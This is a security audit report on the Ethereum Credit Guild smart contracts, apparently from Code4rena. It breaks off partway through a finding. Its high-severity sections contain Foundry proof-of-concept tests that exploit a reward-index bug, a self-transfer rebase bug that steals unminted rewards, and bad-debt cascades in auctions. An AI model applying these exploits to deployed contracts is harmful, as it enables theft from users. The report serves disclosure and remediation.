Ethereum Credit Guild
Findings & Analysis Report
2024-02-22
Table of contents
- Summary
- Scope
- Severity Criteria
-
- [H-01] The
userGaugeProfitIndex
is not set correctly, allowing an attacker to receive rewards without waiting - [H-02] Anyone can steal all distributed rewards
- [H-03] The creation of bad debt (
mark-down
of Credit) can force other loans in auction to also create bad debt - [H-04] Users staking via the
SurplusGuildMinter
can be immediately slashed when staking into a gauge that had previously incurred a loss
- [H-01] The
-
- [M-01] No check for sequencer uptime can lead to dutch auctions failing or executing at bad prices
- [M-02] Inability to withdraw funds for certain users due to
whenNotPaused
modifier inRateLimitedMinter
- [M-03]
totalBorrowedCredit
can revert, breaking gauges. - [M-04]
PnL
system can be broken by large users intentionally or unintentionally. - [M-05] Replay attack to suddenly offboard the re-onboarded lending term
- [M-06] Re-triggering the
canOffboard[term]
flag to bypass the DAO vote of the lending term offboarding mechanism - [M-07] There is no way to liquidate a position if it breaches
maxDebtPerCollateralToken
value creating bad debt. - [M-08] Repayers using EOA accounts can be affected if bad debt is generated when they are repaying loans
- [M-09] Users can deflate other markets Guild holders rewards by staking less priced token
- [M-10] Wrong ProfitManager in GuildToken, will always revert for other types of gauges leading to bad debt
- [M-11] Malicious borrower can decrease Guild holders reward
- [M-12] Anyone can prolong the time for the rewards to get distributed
- [M-13] LendingTerm
debtCeiling
function usescreditMinterBuffer
incorrectly - [M-14] LendingTerm.sol
_partialRepay()
A user cannot partial repay a loan with0
interest - [M-15]
LendingTerm::debtCeiling()
can return wrong debt as themin()
is evaluated incorrectly - [M-16] Auction manipulation by block stuffing and reverting on ERC-777 hooks
- [M-17] The gauge status wasn’t checked before reducing the user’s gauge weight.
- [M-18] Incorrect calculations in
debtCeiling
- [M-19] Over 90% of the Guild staked in a gauge can be unstaked, despite the gauge utilizing its full debt allocation
- [M-20] Inability to offboard term twice in a 7-day period may lead to bad debt to the market
- [M-21]
RateLimitedMinter
isn’t used bySimplePSM
resulting in Governance attacks - [M-22]
LendingTerm
inconsistency between debt ceiling as calculated inborrow()
anddebtCeiling()
- [M-23] Rounding errors can cause ERC20RebaseDistributor transfers and mints to fail for underflow
- [M-24] ProfitManager’s
creditMultiplier
calculation does not count undistributed rewards; this can cause value losses to users - [M-25]
SurplusGuildMinter.getReward()
is susceptible to DoS due to unbounded loop
-
Low Risk and Non-Critical Issues
- Issue Summary
- 01
ProfitManager::donateToTermSurplusBuffer()
does not check if the term is from the same market - 02
ProfitManager::NotifyPnL
will revert in case of loss==
(_surplusBuffer + termSurplusBuffer
) - 03
MinBorrow
must be based on the market token - 04
gUSDC
onboarder can allow implementation of other markets (eg.gWETH
) - 05
CoreRef::emergencyAction
is susceptible to returnbomb attack - 06 If borrower becomes blacklisted for his collateral his loan needs to be forgiven in case to receive it
- 07
IncrementGauge
can be called with0
weight - 08 Setters should check if set the same value
- [09] Credit rewards accrue for slashed users
- [10] Hardcoded block numbers will lead to unsuccessful off-boarding
- [11] Hardcoded
Min_stake
of 1e18 doesn’t incentivize staking expensive tokens
- Disclosures
Overview
About C4
Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.
A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.
During the audit outlined in this document, C4 conducted an analysis of the Ethereum Credit Guild smart contract system written in Solidity. The audit took place between December 11 — December 28, 2023.
Wardens
136 Wardens contributed reports to Ethereum Credit Guild:
- JCN
- critical-or-high
- santipu_
- 0xStalin
- EV_om
- Byteblockers (marchev and 0x3b)
- 3docSec
- SBSecurity (Slavcheww and Blckhv)
- ether_sky
- kaden
- 0xpiken
- Ward (natzuu and 0xpessimist)
- Cosine
- carrotsmuggler
- Sathish9098
- Takarez
- Chinmay
- 0xSmartContract
- rvierdiiev
- HighDuty (nmirchev8 and cholakov)
- Tendency
- rbserver
- Soul22
- c47ch3m4ll (JohnnyTime and t4sk)
- Silvermist
- SpicyMeatball
- btk
- 0xPhantom
- niroh
- 0xadrii
- evmboi32
- ElCid
- aslanbek
- Topmark
- serial-coder
- grearlake
- xeros
- TheSchnilch
- sl1
- pavankv
- EllipticPoint
- AlexCzm
- beber89
- 0xAlix2 (a_kalout and ali_shehab)
- OMEN
- SECURITISE (Audinarey and b0g0)
- Inference
- Jorgect
- 0xbepresent
- CaeraDenoir
- lsaudit
- Akali
- Soltho
- y0ng0p3
- Aymen0909
- stackachu
- KingNFT
- EVDoc
- almurhasan
- glorySec
- 0xDemon
- Beepidibop
- PENGUN
- 0x70C9
- falconhoof
- Arz
- klau5
- DanielArmstrong
- hunter_w3b
- invitedtea
- JayShreeRAM
- 14si2o_Flint
- Myd
- asui
- mojito_auditor
- Infect3d
- 0xmystery
- deth
- Shubham
- cccz
- nonseodion
- nocoder
- deliriusz
- 0xanmol
- alexzoid
- twcctop
- Giorgio
- NentoR
- smiling_heretic
- Neon2835
- zhaojohnson
- gesha17
- neocrao
- mahdikarimi
- ast3ros
- peter
- 0xnev
- Varun_05
- thank_you
- The-Seraphs (pxng0lin, solsaver and zzebra83)
- Timenov
- whitehat-boys (Viraz and Tripathi)
- 0xaltego
- Timeless
- Bauchibred
- tsvetanovv
- EloiManuel
- ZanyBonzy
- nadin
- hals
- mussucal
- Mike_Bello90
- zhaojie
- 0x_6a70
- 0xfave
- XDZIBECX
- 0xdice91
- jasonxiale
- imare
- cats
- developerjordy
- wangxx2026
- KupiaSec
- Stormreckson
- SweetDream
- 0xivas
This audit was judged by TrungOre.
Final report assembled by thebrittfactor.
Summary
The C4 analysis yielded an aggregated total of 29 unique vulnerabilities. Of these vulnerabilities, 4 received a risk rating in the category of HIGH severity and 25 received a risk rating in the category of MEDIUM severity.
The C4 analysis also included 23 reports detailing issues with a risk rating of LOW severity or non-critical and 10 reports including an Analysis review of the Ethereum Credit Guild codebase.
Additionally, while taking duplicated issues into consideration, the total amount of valid submissions found during the C4 analysis yielded 95 with a risk rating in the category of HIGH severity, 191 with a risk rating in the category of MEDIUM severity and 47 with a risk rating in the category of LOW severity or non-critical.
All of the issues presented here are linked back to their original finding, as well as associated duplicate issues.
Scope
The code under review can be found within the C4 Ethereum Credit Guild repository, and is composed of 20 smart contracts written in the Solidity programming language and includes 3721 lines of Solidity code.
In addition to the known issues identified by the project team, a Code4rena bot race was conducted at the start of the audit. The winning bot, henry from warden hihen, generated the Automated Findings report and all findings therein were classified as out of scope.
Severity Criteria
C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.
High-level considerations for vulnerabilities span the following key areas when conducting assessments:
- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use
For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.
High Risk Findings (4)
[H-01] The userGaugeProfitIndex
is not set correctly, allowing an attacker to receive rewards without waiting
Submitted by Arz, also found by deliriusz, Infect3d, Neon2835, AlexCzm, evmboi32, Chinmay, 0xpiken, 0xStalin, sl1, almurhasan, HighDuty, Tendency (1, 2), zhaojohnson, c47ch3m4ll, JCN, santipu_, asui, kaden, TheSchnilch, klau5, ether_sky (1, 2), and critical-or-high
When claimGaugeRewards()
is called for the first time before the user votes for a gauge, the userGaugeProfitIndex
should be set to the current gaugeProfitIndex
, later when the gaugeProfitIndex
grows the user will be able to claim the rewards.
The problem here is that the first time claimGaugeRewards()
is called the userGaugeProfitIndex
is not set to anything because of this check:
416: if (_userGaugeWeight == 0) {
417: return 0;
418: }
So an attacker can vote for a gauge after profit is notified, claimGaugeRewards()
will be called for the first time in incrementGauge()
; however, the userGaugeProfitIndex
will not be set and will be 0
.
The attacker will then call claimGaugeRewards()
again and because the userGaugeProfitIndex
== 0
it will be set to 1e18. Since the gaugeProfitIndex
is bigger than 1e18, the attacker will receive rewards without waiting.
Impact
The attacker will receive rewards without waiting and can repeat this until all rewards are stolen. Other users will then fail to claim their rewards and will receive nothing.
Proof of Concept
Add this to ProfitManager.t.sol
and import "@forge-std/console.sol";
As you can see, the attacker will be able to steal rewards in the same transaction.
function testAttackClaimAfterProfit() public {
address attacker = makeAddr("attacker");
vm.startPrank(governor);
core.grantRole(CoreRoles.GOVERNOR, address(this));
core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
core.grantRole(CoreRoles.GUILD_MINTER, address(this));
core.grantRole(CoreRoles.GAUGE_ADD, address(this));
core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));
vm.stopPrank();
vm.prank(governor);
profitManager.setProfitSharingConfig(
0, // surplusBufferSplit
0.5e18, // creditSplit
0.5e18, // guildSplit
0, // otherSplit
address(0) // otherRecipient
);
guild.setMaxGauges(1);
guild.addGauge(1, gauge1);
guild.mint(attacker, 150e18);
guild.mint(bob, 400e18);
vm.prank(bob);
guild.incrementGauge(gauge1, 400e18);
credit.mint(address(profitManager), 20e18);
profitManager.notifyPnL(gauge1, 20e18);
//Attacker votes for a gauge after it notifies profit
//The userGaugeProfitIndex of the attacker is not set
vm.prank(attacker);
guild.incrementGauge(gauge1, 150e18);
//Because the userGaugeProfitIndex is not set it will be set to 1e18
//The gaugeProfitIndex will be 1.025e18 so the attacker will steal the rewards
profitManager.claimGaugeRewards(attacker,gauge1);
console.log(credit.balanceOf(attacker));
//Other users will then fail to claim their rewards
vm.expectRevert(bytes("ERC20: transfer amount exceeds balance"));
profitManager.claimGaugeRewards(bob,gauge1);
console.log(credit.balanceOf(bob));
}
Tools Used
Foundry
Recommended Mitigation Steps
When userGaugeProfitIndex
equals 0
it should be set to the current gaugeProfitIndex
and it should be set the first time claimGaugeRewards()
is called.
Disputing severity (I think it’s more fit for medium because there is no loss of user funds, just rewards).
TrungOre (judge) commented via duplicate issue #1211:
I consider this issue a high severity because the rewards in ProfitManager are matured yield, which should be distributed to the intended users. The loss of matured yield is considered a high-severity issue based on C4’s criteria.
[H-02] Anyone can steal all distributed rewards
Submitted by evmboi32, also found by Soul22, stackachu, 0xadrii, KingNFT, Jorgect, Tendency, SpicyMeatball, c47ch3m4ll, 0xAlix2, 3docSec, kaden, and critical-or-high
Lines of code
Impact
Anyone can steal all distributed rewards, due to a caching error, when transferring credit tokens to themselves while in rebase.
Proof of Concept
Transferring credit while in rebase works fine when transferring to other users. But when a user tries to transfer to himself he can steal all unminted distributed rewards until that point.
Let’s imagine that some credit tokens were distributed but not yet minted. Alice enters rebase and calls transfer(alice, x)
:
RebasingState memory rebasingStateFrom = rebasingState[msg.sender];
RebasingState memory rebasingStateTo = rebasingState[to];
Both states for msg.sender
and to
are stored in memory. Keep in mind that msg.sender == to == alice
. In the first if
, the rewards for Alice are minted which is 0
since she just entered rebase:
if (rebasingStateFrom.isRebasing == 1) {
uint256 shares = uint256(rebasingStateFrom.nShares);
uint256 rebasedBalance = _shares2balance(
shares,
_rebasingSharePrice,
0,
fromBalanceBefore
);
uint256 mintAmount = rebasedBalance - fromBalanceBefore;
if (mintAmount != 0) {
ERC20._mint(msg.sender, mintAmount);
fromBalanceBefore += mintAmount;
decreaseUnmintedRebaseRewards(mintAmount);
emit RebaseReward(msg.sender, block.timestamp, mintAmount);
}
}
In the second if
, we decrease the shares that Alice sent out, but the change is applied to a storage variable of rebasingState
for msg.sender
. This means that the cached rebasingStateFrom == rebasingStateTo
still holds the old value of shares as the nShares
.
if (rebasingStateFrom.isRebasing == 1) {
uint256 fromBalanceAfter = fromBalanceBefore - amount;
uint256 fromSharesAfter = _balance2shares(
fromBalanceAfter,
_rebasingSharePrice
);
uint256 sharesSpent = rebasingStateFrom.nShares - fromSharesAfter;
sharesDelta -= int256(sharesSpent);
rebasingState[msg.sender] = RebasingState({
isRebasing: 1,
nShares: uint248(fromSharesAfter)
});
}
This will cause that the toBalanceAfter
in the final if
to be calculated incorrectly because it calculates using the old shares, as we use the cached value of shares from the beginning of the function. This will keep the balance the same +
the amount
added on top.
uint256 toBalanceAfter = _shares2balance(
rebasingStateTo.nShares,
_rebasingSharePrice,
amount,
rawToBalanceAfter
);
Then, extra tokens are minted which should not be:
uint256 mintAmount = toBalanceAfter - rawToBalanceAfter;
if (mintAmount != 0) {
ERC20._mint(to, mintAmount);
decreaseUnmintedRebaseRewards(mintAmount);
emit RebaseReward(to, block.timestamp, mintAmount);
}
Alice can now exitRebase
and keep the tokens for herself.
Let’s also look at a practical example with numbers
- Alice has
100 credit
tokens worthX
shares. There are still some unminted rewards (unmintedRebaseRewards() >= 100e18
). - She calls
transfer(alice, 100e18)
. - The first
if
does nothing and the tokens are transferred. At this point, both token balance and share balance for Alice remain the same as before transfer. - The second
if
adjusts the shares that Alice spent, but the value is stored in the storage variable. So she spentX
shares since she transferred the whole balance the current state is as follows:
// storage
rebasingState[alice] = RebasingState({
isRebasing: 1,
nShares: 0
});
But the rebasingStateTo
variable still holds the old number of shares as it was not updated (keep in mind that msg.sender == to == alice
. toBalanceAfter
is calculated as 200
tokens now. Since the rebasingStateTo.nShares
is X
, and on top of that, we add the amount and results into 200
tokens. The share price remains the same. The rawToBalanceAfter
didn’t change during the transfer and still remains at a 100
tokens.
uint256 rawToBalanceAfter = ERC20.balanceOf(to);
uint256 toBalanceAfter = _shares2balance(
rebasingStateTo.nShares,
_rebasingSharePrice,
amount,
rawToBalanceAfter
);
Finally, the rewards for Alice are minted. This will result in mintAmount = 100e18
.
uint256 mintAmount = toBalanceAfter - rawToBalanceAfter;
if (mintAmount != 0) {
ERC20._mint(to, mintAmount);
decreaseUnmintedRebaseRewards(mintAmount);
emit RebaseReward(to, block.timestamp, mintAmount);
}
Alice now stole tokens from other rebasing users. The max number of tokens she can steal is unmintedRebaseRewards()
for any given self-transfer. So if unmintedRebaseRewards() == 10e18
she needs to call transfer(alice, 10e18)
so she can steal the unclaimed rewards. She could monitor the mempool and frontrun each transaction that would change the unmintedRebaseRewards
variable and essentially rob users of all rewards. Each call is done atomically
so there is 0 risk
for Alice.
Coded POC
Add this in the ERC20RebaseDistributor.t.sol
file and add import import "@forge-std/console.sol";
.
Run with forge test --match-path ./test/unit/tokens/ERC20RebaseDistributor.t.sol -vvv
:
function testSelfTransfer() public {
token.mint(address(this), 100e18);
// Mint some tokens to bob and alice
token.mint(alice, 10e18);
token.mint(bobby, 10e18);
// Bob enters the rebase since he wants to earn some profit
vm.prank(bobby);
token.enterRebase();
// Tokens are distributed among all rebase users
token.distribute(10e18);
// Nobody claims the rebase rewards for 10 days - just for an example
// Alice could frontrun every call that changes the unmintedRebaseRewards atomically
// and claim all the rewards for herself
vm.warp(block.timestamp + 10 days);
// --------------------- ATOMIC TX ---------------------
vm.startPrank(alice);
token.enterRebase();
uint256 token_balance_alice_before = token.balanceOf(alice);
// Here the max she could transfer and steal is the unmintedRebaseRewards() amount
// but we are using 3e18 just for an example as 3e18 < unmintedRebaseRewards()
// since there is no public getter for unmintedRebaseRewards
token.transfer(alice, 3e18);
token.exitRebase();
vm.stopPrank();
uint256 token_balance_alice = token.balanceOf(alice);
// --------------------- END ATOMIC TX ---------------------
console.log("Token balance alice before : ", token_balance_alice_before);
console.log("Token balance alice after : ", token_balance_alice);
console.log("--------------------------------------------------");
console.log("Alice profit credit : ", token_balance_alice - token_balance_alice_before);
}
[PASS] testSelfTransfer() (gas: 230035)
Logs:
Token balance alice before : 10000000000000000000
Token balance alice after : 12999999999999999999
--------------------------------------------------
Alice profit credit : 2999999999999999999
Recommended Mitigation Steps
Prevent self-transfer, as it makes no sense and also causes harm.
Assessed type
Token-Transfer
eswak (Ethereum Credit Guild) confirmed and commented:
Thanks for the very high quality report. Definitely one of the most critical issues that I’ve been made aware of on this audit.
[H-03] The creation of bad debt (mark-down
of Credit) can force other loans in auction to also create bad debt
Submitted by JCN, also found by JCN, Soul22, AlexCzm, grearlake, Chinmay (1, 2), 0xStalin, c47ch3m4ll, Cosine, xeros, 3docSec, Inference, and almurhasan
The creation of bad debt results in the mark down
of Credit
, i.e. Credit
experiences inflation. This is done so that the protocol can adjust to the bad debt that was produced. It follows that when Credit
is marked down all active loans can be considered marked up
; meaning, the borrowers will be expected to repay with more Credit
, since Credit
is now worthless. We can observe how this is done by examining the LendingTerm::getLoanDebt
function:
LendingTerm::getLoanDebt#L216-L230
216: // compute interest owed
217: uint256 borrowAmount = loan.borrowAmount;
218: uint256 interest = (borrowAmount *
219: params.interestRate *
220: (block.timestamp - borrowTime)) /
221: YEAR /
222: 1e18;
223: uint256 loanDebt = borrowAmount + interest;
224: uint256 _openingFee = params.openingFee;
225: if (_openingFee != 0) {
226: loanDebt += (borrowAmount * _openingFee) / 1e18;
227: }
228: uint256 creditMultiplier = ProfitManager(refs.profitManager)
229: .creditMultiplier();
230: loanDebt = (loanDebt * loan.borrowCreditMultiplier) / creditMultiplier;
As we can see above, the debt of a borrower (principle + interests) is adjusted by the creditMultiplier
. This creditMultiplier
starts at 1e18
and gets marked down
when bad debt is produced in the system. The loan.borrowCreditMultiplier
is the creditMultiplier
value at the time that the user took out the loan. Therefore, this function calculates the adjusted debt of a borrower with respect to the amount of bad debt that was produced (inflation of Credit
) since the borrower took out the loan. This function is called every time a borrower makes a payment for their loan, ensuring that the appropriate debt is always considered. However, this function is only called once during the entire auction process:
664: // update loan in state
665: uint256 loanDebt = getLoanDebt(loanId);
666: loans[loanId].callTime = block.timestamp;
667: loans[loanId].callDebt = loanDebt;
668: loans[loanId].caller = caller;
The above code is taken from the _call
function, which is the starting point for an auction. When a loan misses a required partialPayment
or the term is offboarded, this function can be permissionlessly called. As we can see, the debt of the loan is read from the getLoanDebt
function and then stored in the loan
struct in the callDebt
field. This means that the callDebt
represents a snapshot of the debt at block.timestamp
. Therefore, the callDebt
is the loan debt with respect to the creditMultiplier
valued at the time that the loan was called. What if the creditMultiplier
gets updated after the auction process begins? This would result in the callDebt
of the loan being less than what the actual debt of the loan should be (Credit
is worth less, but the collateral is worth the same). We can understand the true magnitude of this discrepancy by observing the LendingTerm::onBid
function:
750: // compute pnl
751: uint256 creditMultiplier = ProfitManager(refs.profitManager)
752: .creditMultiplier();
753: uint256 borrowAmount = loans[loanId].borrowAmount;
754: uint256 principal = (borrowAmount *
755: loans[loanId].borrowCreditMultiplier) / creditMultiplier;
756: int256 pnl;
757: uint256 interest;
758: if (creditFromBidder >= principal) {
759: interest = creditFromBidder - principal;
760: pnl = int256(interest);
761: } else {
762: pnl = int256(creditFromBidder) - int256(principal);
763: principal = creditFromBidder;
764: require(
765: collateralToBorrower == 0,
766: "LendingTerm: invalid collateral movement"
767: );
768: }
As we can see above, the principle
of the loan is calculated with respect to the current creditMultiplier
. The creditFromBidder
is the callDebt
when the auction is in its first phase:
AuctionHouse::getBidDetail#L133-L136
133: // first phase of the auction, where more and more collateral is offered
134: if (block.timestamp < _startTime + midPoint) {
135: // ask for the full debt
136: creditAsked = auctions[loanId].callDebt;
This is where the issue lies. Remember, the callDebt
represents a snapshot of the loan debt at the time which the loan was called. The callDebt
does not consider a potential updated creditMultiplier
. Therefore, if a mark down
is generated that results in principle > creditFromBidder
, then execution of the onBid
function would continue on line 762. This will result in a negative pnl
being calculated, which ultimately means that this gauge will experience a loss. However, if the collateralToBorrower
is not 0
, the function will revert. Therefore, when the principle
is greater than the callDebt
, due to the mark down
of Credit
, the auction can only receive a bid if the collateralToBorrower
is 0
. Let us observe the AuctionHouse::bid
and AuctionHouse::getBidDetail
functions in order to understand what scenario would result in collateralToBorrower == 0
:
169: (uint256 collateralReceived, uint256 creditAsked) = getBidDetail(
170: loanId
171: );
172: require(creditAsked != 0, "AuctionHouse: cannot bid 0");
...
180: LendingTerm(_lendingTerm).onBid(
181: loanId,
182: msg.sender,
183: auctions[loanId].collateralAmount - collateralReceived, // collateralToBorrower
184: collateralReceived, // collateralToBidder
185: creditAsked // creditFromBidder
186: );
As seen above, the onBidDetail
function is invoked to retrieve the necessary collateralReceived
and creditAsked
values. The onBid
function is then invoked and the collateralToBorrower
is equal to the collateralAmount - collateralReceived
. The collateralAmount
is the full collateral of the loan. Therefore, if the collateralReceived == collateralAmount
, we will have satisfied the following condition: collateralToBorrower == 0
. This is exactly what occurs during the second phase of an auction:
AuctionHouse::getBidDetail#L143-L146
143: // second phase of the auction, where less and less CREDIT is asked
144: else if (block.timestamp < _startTime + auctionDuration) {
145: // receive the full collateral
146: collateralReceived = auctions[loanId].collateralAmount;
Therefore, given the situation where a loan is placed in auction and then a large enough mark down
of Credit
occurs, such that principle > creditFromBidder
, only bids occurring during the second phase of the auction will be allowed. In addition, given that principle > creditFromBidder
, bad debt will also be produced in this auction.
Let’s briefly discuss what scenarios would result in principle > callDebt
. Reminder: The callDebt
represents the maximum value that creditFromBidder
can be. The callDebt
is a snapshot of the full debt of a borrower (principle + interests). Therefore, if the mark down
results in a percent decrease of Credit
greater than the interest of the borrower’s loan, then the adjusted principle
will be greater than the callDebt
. Consider the following situation:
A term has an interest rate of 4%. The term has multiple loans opened and the term is being off-boarded after half a year. Let’s assume no loans have been paid off during this time. Therefore, the interest for all loans is ~2%. Suppose a loan undergoes auction before other loans are called and this loan results in the creation of bad debt (worst case scenario), which results in a mark down
> 2%. All other loans that are in auction during this mark down
will be forced to create bad debt since the adjusted principle
for all loans in auction will be greater than the loans’ callDebt
.
Impact
The creation of bad debt has the potential to force other loans to create additional bad debt if the following conditions are met:
- The other loans were in auction during the
mark down
. - The
mark down
is greater than the interest owed for the loans. - The global surplus buffer is not manually replenished before each additional bad debt creation (funds essentially sacrificed).
This can greatly impact the health of the protocol as the Credit
token is used for all core functionalities. A mark down
is a mechanism to allow the system to properly adjust to the creation of bad debt; however, I would argue that the creation of bad debt should not result in other loans being forced to produce losses which can ultimately produce more bad debt.
This has the ability to affect loans in other terms as well. All loans in auction during the mark down
, originating from any term in the market, can potentially be forced to produce a loss/bad debt. The magnitude of this additional mark down
of Credit
will be greater if the affected loans have relatively low interest accrued and a large borrow amount.
Secondary effects are that no user’s will be able to bid during the first phase of the auction. This first phase is meant to be an opportunity for the borrower to properly repay their full debt before the second phase begins, where the borrower can potentially be out-bid by another liquidator and lose the opportunity to receive their collateral.
Proof of Concept
The following test demonstrates the scenario described above in which a mark down
of Credit
results in other loans in auction being forced to create additional bad debt.
Place the test inside of the test/unit/loan/
directory:
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.13;
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {Test} from "@forge-std/Test.sol";
import {Core} from "@src/core/Core.sol";
import {CoreRoles} from "@src/core/CoreRoles.sol";
import {MockERC20} from "@test/mock/MockERC20.sol";
import {SimplePSM} from "@src/loan/SimplePSM.sol";
import {GuildToken} from "@src/tokens/GuildToken.sol";
import {CreditToken} from "@src/tokens/CreditToken.sol";
import {LendingTerm} from "@src/loan/LendingTerm.sol";
import {AuctionHouse} from "@src/loan/AuctionHouse.sol";
import {ProfitManager} from "@src/governance/ProfitManager.sol";
import {RateLimitedMinter} from "@src/rate-limits/RateLimitedMinter.sol";
contract BadDebtCreatesBadDebt is Test {
address private governor = address(1);
address private guardian = address(2);
address staker = address(0x01010101);
address borrower = address(0x02020202);
address lender = address(0x03030303);
Core private core;
ProfitManager private profitManager;
CreditToken credit;
GuildToken guild;
MockERC20 collateral;
MockERC20 pegToken;
SimplePSM private psm;
RateLimitedMinter rlcm;
AuctionHouse auctionHouse;
LendingTerm term;
// LendingTerm params (same as deployment script)
uint256 constant _CREDIT_PER_COLLATERAL_TOKEN = 1e18; // 1:1
uint256 constant _INTEREST_RATE = 0.04e18; // 4% APR
uint256 constant _MAX_DELAY_BETWEEN_PARTIAL_REPAY = 0;
uint256 constant _MIN_PARTIAL_REPAY_PERCENT = 0;
uint256 constant _HARDCAP = 2_000_000e18; // 2 million
uint256 public issuance = 0;
function setUp() public {
vm.warp(1679067867);
vm.roll(16848497);
core = new Core();
profitManager = new ProfitManager(address(core));
collateral = new MockERC20();
pegToken = new MockERC20(); // 18 decimals for easy calculations (deployment script uses USDC which has 6 decimals)
credit = new CreditToken(address(core), "name", "symbol");
guild = new GuildToken(
address(core),
address(profitManager)
);
rlcm = new RateLimitedMinter(
address(core) /*_core*/,
address(credit) /*_token*/,
CoreRoles.RATE_LIMITED_CREDIT_MINTER /*_role*/,
0 /*_maxRateLimitPerSecond*/,
0 /*_rateLimitPerSecond*/,
uint128(_HARDCAP) /*_bufferCap*/
);
auctionHouse = new AuctionHouse(address(core), 650, 1800);
term = LendingTerm(Clones.clone(address(new LendingTerm())));
term.initialize(
address(core),
LendingTerm.LendingTermReferences({
profitManager: address(profitManager),
guildToken: address(guild),
auctionHouse: address(auctionHouse),
creditMinter: address(rlcm),
creditToken: address(credit)
}),
LendingTerm.LendingTermParams({
collateralToken: address(collateral),
maxDebtPerCollateralToken: _CREDIT_PER_COLLATERAL_TOKEN,
interestRate: _INTEREST_RATE,
maxDelayBetweenPartialRepay: _MAX_DELAY_BETWEEN_PARTIAL_REPAY,
minPartialRepayPercent: _MIN_PARTIAL_REPAY_PERCENT,
openingFee: 0,
hardCap: _HARDCAP
})
);
psm = new SimplePSM(
address(core),
address(profitManager),
address(credit),
address(pegToken)
);
profitManager.initializeReferences(address(credit), address(guild), address(psm));
// roles
core.grantRole(CoreRoles.GOVERNOR, governor);
core.grantRole(CoreRoles.GUARDIAN, guardian);
core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
core.grantRole(CoreRoles.GUILD_MINTER, address(this));
core.grantRole(CoreRoles.GAUGE_ADD, address(this));
core.grantRole(CoreRoles.GAUGE_REMOVE, address(this));
core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
core.grantRole(CoreRoles.CREDIT_MINTER, address(rlcm));
core.grantRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, address(term));
core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(term));
core.grantRole(CoreRoles.CREDIT_MINTER, address(psm));
core.grantRole(CoreRoles.CREDIT_REBASE_PARAMETERS, address(psm));
core.renounceRole(CoreRoles.GOVERNOR, address(this));
// add gauge
guild.setMaxGauges(10);
guild.addGauge(1, address(term));
}
function testBadDebtCreatesBadDebt() public {
// staker increases term debtCeiling
guild.mint(staker, 1000e18);
vm.startPrank(staker);
guild.incrementGauge(address(term), 1000e18);
vm.stopPrank();
assertEq(guild.getGaugeWeight(address(term)), 1000e18);
// term has 12 active loans all with various borrow sizes (1_000_000 in total loans)
// 1st loan = 80_000e18
collateral.mint(borrower, 1_000_000e18);
uint256[] memory borrowAmounts = new uint256[](11);
bytes32[] memory loanIds = new bytes32[](11);
borrowAmounts[0] = 1_000e18;
borrowAmounts[1] = 5_000e18;
borrowAmounts[2] = 10_000e18;
borrowAmounts[3] = 25_000e18;
borrowAmounts[4] = 100_000e18;
borrowAmounts[5] = 50_000e18;
borrowAmounts[6] = 300_000e18;
borrowAmounts[7] = 18_000e18;
borrowAmounts[8] = 90_000e18;
borrowAmounts[9] = 250_000e18;
borrowAmounts[10] = 71_000e18;
vm.prank(borrower);
collateral.approve(address(term), 1_000_000e18);
// create 1st loan (loan that will create bad debt)
bytes32 loanId;
vm.startPrank(borrower);
loanId = term.borrow(80_000e18, 80_000e18);
vm.roll(block.number + 1);
vm.warp(block.timestamp + 13);
vm.stopPrank();
// create the rest of the loans (loans that will be forced to create bad debt)
for (uint256 i; i < borrowAmounts.length; i++) {
vm.startPrank(borrower);
loanIds[i] = term.borrow(borrowAmounts[i], borrowAmounts[i]);
vm.roll(block.number + 1);
vm.warp(block.timestamp + 13);
vm.stopPrank();
}
assertEq(term.issuance(), 1_000_000e18);
assertEq(credit.balanceOf(borrower), 1_000_000e18);
assertEq(credit.totalSupply(), 1_000_000e18);
// lenders supply 1_000_000 pegToken in psm (credit.totalSupply == 2_000_000)
pegToken.mint(lender, 1_000_000e18);
vm.startPrank(lender);
pegToken.approve(address(psm), 1_000_000e18);
psm.mintAndEnterRebase(1_000_000e18);
vm.stopPrank();
assertEq(credit.totalSupply(), 2_000_000e18);
// half a year later all loans accrued ~2% interest
vm.warp(block.timestamp + (term.YEAR() / 2));
// term is offboarded
guild.removeGauge(address(term));
assertEq(guild.isGauge(address(term)), false);
// one loan is called before the others and it creates bad debt (markdown > % interest owed by other loans)
term.call(loanId);
// no ones bids and loan creates bad debt (worse case scenario)
vm.warp(block.timestamp + auctionHouse.auctionDuration());
(, uint256 creditAsked) = auctionHouse.getBidDetail(loanId);
assertEq(creditAsked, 0); // phase 2 ended
// all loans called via callMany right before bad debt + markdown occurs
// to demonstrate that any auctions live while markdown occurred would be affected (including auctions in diff terms)
term.callMany(loanIds);
// bad debt created, i.e. markdown of 4%
// note that for demonstration purposes there are no surplus buffers
auctionHouse.forgive(loanId);
assertEq(term.issuance(), 1_000_000e18 - 80_000e18);
assertEq(credit.totalSupply(), 2_000_000e18);
assertEq(profitManager.creditMultiplier(), 0.96e18); // credit marked down
// no one can bid during phase 1 of any other loans that were in auction when the markdown occurred
// due to principle > creditFromBidder, therefore collateral to borrower must be 0, i.e. all collateral is offered, i.e. must be phase 2
for (uint256 i; i < loanIds.length; i++) {
( , creditAsked) = auctionHouse.getBidDetail(loanIds[i]);
// verify we are in phase 1 (creditAsked == callDebt)
assertEq(auctionHouse.getAuction(loanIds[i]).callDebt, creditAsked);
// attempt to bid during phase 1
credit.mint(address(this), creditAsked);
credit.approve(address(term), creditAsked);
vm.expectRevert("LendingTerm: invalid collateral movement");
auctionHouse.bid(loanIds[i]);
}
// fast forward to the beginning of phase 2
vm.warp(block.timestamp + auctionHouse.midPoint());
vm.roll(block.number + 1);
// all other loans that are in auction will be forced to only receive bids in phase 2
// bad debt is gauranteed to be created for all these loans, so user's are incentivized to
// bid at the top of phase 2. This would result in the liquidator receiving the collateral at a discount.
